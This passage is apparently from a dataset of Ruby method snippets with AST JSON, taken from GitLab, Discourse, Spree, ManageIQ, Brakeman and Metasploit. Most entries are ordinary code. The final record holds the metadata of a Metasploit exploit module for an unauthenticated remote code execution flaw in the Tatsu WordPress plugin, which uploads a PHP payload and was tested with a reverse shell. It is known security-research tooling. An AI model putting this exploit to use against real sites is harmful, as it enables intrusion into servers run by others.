{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250424121244_add_organization_id_fk_to_integrations.rb","start_line":8,"raw_source":"def up\n    with_lock_retries do\n      add_column :integrations, :organization_id, :bigint, if_not_exists: true\n    end\n\n    add_concurrent_foreign_key(\n      :integrations,\n      :organizations,\n      column: :organization_id,\n      foreign_key: true,\n      on_delete: :cascade,\n      validate: false\n    )\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"integrations\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"integrations\"]},{\"type\":\"sym\",\"children\":[\"organizations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"96689bc4-551c-4b39-b1e3-0eead555bb17"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/stock_locations_controller.rb","start_line":16,"raw_source":"def resource_serializer\n            Spree::Api::Dependencies.platform_stock_location_serializer.constantize\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"platform_stock_location_serializer\"]},\"constantize\"]}]}","id":"b77d1134-e677-47eb-9394-68cbf7e615c5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/assigner.rb","start_line":506,"raw_source":"def add_small_action_post(action_code, assign_to, text)\n    custom_fields = small_action_username_or_name(assign_to)\n\n    if post_target?\n      custom_fields.merge!(\n        { \"action_code_path\" => \"/p/#{@target.id}\", \"action_code_post_id\" => @target.id },\n      )\n    end\n\n    topic.add_moderator_post(\n      @assigned_by,\n      text,\n      bump: false,\n      auto_track: false,\n      post_type: SiteSetting.assigns_public ? Post.types[:small_action] : Post.types[:whisper],\n      action_code: action_code,\n      custom_fields: custom_fields,\n    )\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"add_small_action_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action_code\"]},{\"type\":\"arg\",\"children\":[\"assign_to\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom_fields\",{\"type\":\"send\",\"children\":[null,\"small_action_username_or_name\",{\"type\":\"lvar\",\"children\":[\"assign_to\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_target?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_fields\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_code_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/p/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target\"]},\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action_code_post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@target\"]},\"id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"add_moderator_post\",{\"type\":\"ivar\",\"children\":[\"@assigned_by\"]},{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bump\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_track\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"assigns_public\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"small_action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"whisper\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_code\"]},{\"type\":\"lvar\",\"children\":[\"action_code\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_fields\"]},{\"type\":\"lvar\",\"children\":[\"custom_fields\"]}]}]}]}]}]}","id":"6f5d8b15-4c61-420e-8095-344d9820fb37"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":182,"raw_source":"def self.types\n    @types ||= Enum.new(regular: 1, moderator_action: 2, small_action: 3, whisper: 4)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regular\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moderator_action\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"small_action\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"whisper\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}","id":"92cc48a7-9893-470e-b854-166f7ddc47ac"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/task_helpers/imports/alerts_spec.rb","start_line":41,"raw_source":"def assert_test_alert_two_present\n    a = MiqAlert.find_by(:guid => alert_two_guid)\n    expect(a.description).to eq(\"Alert Import Test 2\")\n    expect(a.responds_to_events).to eq(\"host_perf_complete\")\n    expect(a.enabled).to be true\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_test_alert_two_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAlert\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guid\"]},{\"type\":\"send\",\"children\":[null,\"alert_two_guid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"description\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"Alert Import Test 2\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"responds_to_events\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"host_perf_complete\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"enabled\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"a7cdda06-cc1b-4cd9-aa0b-ea8ddaf375de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/targets/repositories.rb","start_line":130,"raw_source":"def skipped_path_relation\n        Project.id_not_in(Project.where_full_path_in(skip_paths).or(\n          Project.where(namespace_id: Namespace.where_full_path_in(skip_paths).self_and_descendants)\n        ))\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"skipped_path_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"id_not_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"where_full_path_in\",{\"type\":\"send\",\"children\":[null,\"skip_paths\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"where_full_path_in\",{\"type\":\"send\",\"children\":[null,\"skip_paths\"]}]},\"self_and_descendants\"]}]}]}]}]}]}]}","id":"d0e12825-fb1b-4747-b3fd-8e1a47cfcb1a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/gems/gitlab-orchestrator/lib/gitlab/orchestrator/lib/deployment/resource_presets.rb","start_line":37,"raw_source":"def default\n            @default ||= {\n              gitlab: {\n                webservice: {\n                  workerProcesses: 2,\n                  minReplicas: 1,\n                  resources: resources(\"1500m\", \"3Gi\")\n                },\n                sidekiq: {\n                  concurrency: 20,\n                  minReplicas: 1,\n                  resources: resources(\"900m\", \"2Gi\"),\n                  hpa: {\n                    cpu: { targetAverageValue: \"800m\" }\n                  }\n                },\n                kas: {\n                  minReplicas: 1,\n                  resources: resources(\"40m\", \"96Mi\")\n                },\n                # TODO: if limits are defined, git operations start failing in e2e tests, investigate potential cause\n                # https://gitlab.com/gitlab-org/quality/quality-engineering/team-tasks/-/issues/3699\n                \"gitlab-shell\": {\n                  minReplicas: 1,\n                  resources: resources(\"30m\", \"16Mi\", no_limits: true)\n                },\n                gitaly: {\n                  resources: resources(\"300m\", \"300Mi\")\n                },\n                toolbox: {\n                  resources: resources(\"50m\", \"128Mi\", no_limits: true)\n                }\n              },\n              registry: {\n                resources: resources(\"40m\", \"96Mi\"),\n                hpa: {\n                  minReplicas: 1,\n                  **cpu_utilization\n                }\n              },\n              minio: {\n                resources: resources(\"30m\", \"32Mi\")\n              },\n              \"nginx-ingress\": {\n                controller: {\n                  resources: resources(\"30m\", \"256Mi\")\n                }\n              },\n              postgresql: {\n                primary: {\n                  resources: resources(\"400m\", \"1Gi\")\n                }\n              },\n              redis: {\n                master: {\n                  resources: resources(\"50m\", \"16Mi\")\n                }\n              }\n            }\n          end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webservice\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workerProcesses\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minReplicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"1500m\"]},{\"type\":\"str\",\"children\":[\"3Gi\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sidekiq\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"concurrency\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minReplicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"900m\"]},{\"type\":\"str\",\"children\":[\"2Gi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hpa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cpu\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"targetAverageValue\"]},{\"type\":\"str\",\"children\":[\"800m\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kas\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minReplicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"40m\"]},{\"type\":\"str\",\"children\":[\"96Mi\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitlab-shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minReplicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"30m\"]},{\"type\":\"str\",\"children\":[\"16Mi\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_limits\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"300m\"]},{\"type\":\"str\",\"children\":[\"300Mi\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"toolbox\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"50m\"]},{\"type\":\"str\",\"children\":[\"128Mi\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_limits\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registry\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"40m\"]},{\"type\":\"str\",\"children\":[\"96Mi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hpa\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minReplicas\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cpu_utilization\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minio\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"30m\"]},{\"type\":\"str\",\"children\":[\"32Mi\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nginx-ingress\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"30m\"]},{\"type\":\"str\",\"children\":[\"256Mi\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"postgresql\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"400m\"]},{\"type\":\"str\",\"children\":[\"1Gi\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"master\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resources\"]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"str\",\"children\":[\"50m\"]},{\"type\":\"str\",\"children\":[\"16Mi\"]}]}]}]}]}]}]}]}]}]}","id":"bd59e4ef-9c42-440c-8835-3b5e876f9c05"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/pager.rb","start_line":18,"raw_source":"def test_unknown_pager\n    out = StringIO.new\n    pager = Brakeman::Pager.new(nil, :unknown, out)\n\n    pager.page_output(@@text)\n\n    assert_equal @@text, out.string\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unknown_pager\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pager\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Pager\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"unknown\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pager\"]},\"page_output\",{\"type\":\"cvar\",\"children\":[\"@@text\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"cvar\",\"children\":[\"@@text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"string\"]}]}]}]}","id":"7ae599d4-1597-4331-8bb8-0654d7f31fc3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/system/page_objects/discourse_calendar/post_event.rb","start_line":42,"raw_source":"def open\n          has_css?(\".discourse-post-event .status-and-creators .status.closed\")\n          open_more_menu\n          find(\".open-event\").click\n          find(\"#dialog-holder .btn-primary\").click\n          has_css?(\".discourse-post-event .status-and-creators .status:not(.closed)\")\n          has_no_css?(\"#{TRIGGER_MENU_SELECTOR}.--saving\")\n          self\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"open\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\".discourse-post-event .status-and-creators .status.closed\"]}]},{\"type\":\"send\",\"children\":[null,\"open_more_menu\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".open-event\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"#dialog-holder .btn-primary\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\".discourse-post-event .status-and-creators .status:not(.closed)\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TRIGGER_MENU_SELECTOR\"]}]},{\"type\":\"str\",\"children\":[\".--saving\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"8e508fd5-76e6-4656-9bf7-8c72d7bfb1a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/commit.rb","start_line":442,"raw_source":"def revert_message(user)\n    %(Revert \"#{title.strip}\"\\n\\n#{revert_description(user)})\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"revert_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Revert \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"strip\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revert_description\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"550b52ad-2d11-4bf0-a149-1f0835e2d1bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/manager.rb","start_line":282,"raw_source":"def cleanup\n      logger.info \"Deleting tar staging files ... \"\n\n      remove_backup_path(MANIFEST_NAME)\n      backup_tasks.each_value do |task|\n        remove_backup_path(task.cleanup_path || task.destination_path)\n      end\n\n      logger.info \"Deleting tar staging files ... done\"\n    end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Deleting tar staging files ... \"]}]},{\"type\":\"send\",\"children\":[null,\"remove_backup_path\",{\"type\":\"const\",\"children\":[null,\"MANIFEST_NAME\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_tasks\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_backup_path\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"cleanup_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"destination_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Deleting tar staging files ... done\"]}]}]}]}","id":"7f92f110-a4e8-4787-b5f3-91b0fa3d3a47"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/scram_sha_256.rb","start_line":63,"raw_source":"def normalize(value)\n    ::Net::IMAP::SASL.saslprep(value, exception: true)\n  rescue ArgumentError => e\n    raise NormalizeError, e.message\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Net\"]},\"IMAP\"]},\"SASL\"]},\"saslprep\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NormalizeError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"ef2aacf2-d3fc-44e4-8aaf-7cad88ca89d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/snippets/notes_controller.rb","start_line":25,"raw_source":"def snippet\n    @snippet ||= PersonalSnippet.find_by(id: params[:snippet_id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@snippet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalSnippet\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"snippet_id\"]}]}]}]}]}]}]}","id":"21b85c75-53d0-4665-bc9c-e3dcfa247de5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_tatsu_rce.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Tatsu Wordpress Plugin RCE',\n        'Description' => %q{\n          This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.\n        },\n        'Author' => [\n          'Vincent Michel', # Vulnerability discovery\n          'msutovsky-r7' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2021-25094'],\n          ['EDB', '52260']\n        ],\n        'License' => MSF_LICENSE,\n        'Privileged' => false,\n        'Platform' => %w[php],\n        'Arch' => [ARCH_PHP],\n        'Targets' => [\n          [\n            'PHP',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP\n              # tested with php/meterpreter/reverse_tcp\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2022-04-25',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Tatsu Wordpress Plugin RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vincent 